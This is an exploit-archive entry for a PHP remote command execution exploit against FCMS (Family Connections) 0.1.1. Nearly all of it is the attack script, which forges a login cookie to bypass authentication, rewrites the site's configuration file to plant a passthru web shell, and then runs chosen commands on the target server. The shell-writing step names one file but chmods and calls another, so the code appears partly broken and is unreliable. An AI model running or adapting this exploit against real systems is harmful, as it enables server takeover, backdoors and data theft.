FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit

2007.08.15
Credit: ilkerkandemir
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/php -q -d short_open_tag=on <? echo " # FCMS (Family Connections) <= 0.1.1 Remote Command Execution Exploit # AUTHOR: ilker kandemir <ilkerkandemir[at]mynet.com> # DOWNLOAD:http://sourceforge.net/project/showfiles.php?group_id=189733 # Thanks to rgod for the php code and Ajann for helps "; if ($argc<3) { echo "Usage: php ".$argv[0]." Host Path CMD Host: target server (ip/hostname) Path: path of FCMS Example: php ".$argv[0]." localhost /FCMS/ dir"; die; } /* The problem is in index.php: { if (isset($_COOKIE['fcms_login_id'])) { $_SESSION['login_id'] = $_COOKIE['fcms_login_id']; } This exploit create a ilker.php shell on the victim site */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $cmd=urlencode($cmd); $port=80; $proxy=""; if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step0 - See If ilker.php already exists..\r\n"; $packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=$cmd\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } echo "Step1 - Retrieving Configuration\r\n"; $packet="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: admin=ilker\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode("<textarea name=\"content\" cols=\"80\" rows=\"20\">", $html); $config_file=explode("</textarea><br /><input type=\"submit\" /></form>", $temp[1]); $new_file = str_replace('?>', ' $fp=fopen(\'piggy_marty.php\',\'w\'); fputs($fp,\'<?php error_reporting(0); set_time_limit(0); if (get_magic_quotes_gpc()) { $_GET[cmd]=stripslashes($_GET[cmd]); } echo 666999; passthru($_GET[cmd]); echo 666999; ?>\'); fclose($fp); chmod(\'ilker.php\',777); ?>', $config_file[0]); echo "Step2 - Uploading New Data..\r\n"; $data="content=".urlencode($new_file); $packet="POST ".$p."index.php HTTP/1.0\r\n"; $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."index.php\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: fcms_login_id=ilker\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; sendpacketii($packet); echo "Step3 - Executing Shell Maker\r\n"; $packet="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: \r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(3); echo "Step4 - Executing Shell..\r\n"; $packet="GET ".$p."ilker.php?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Cookie: cmd=$cmd\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } ?> # MefistoLabs.Com


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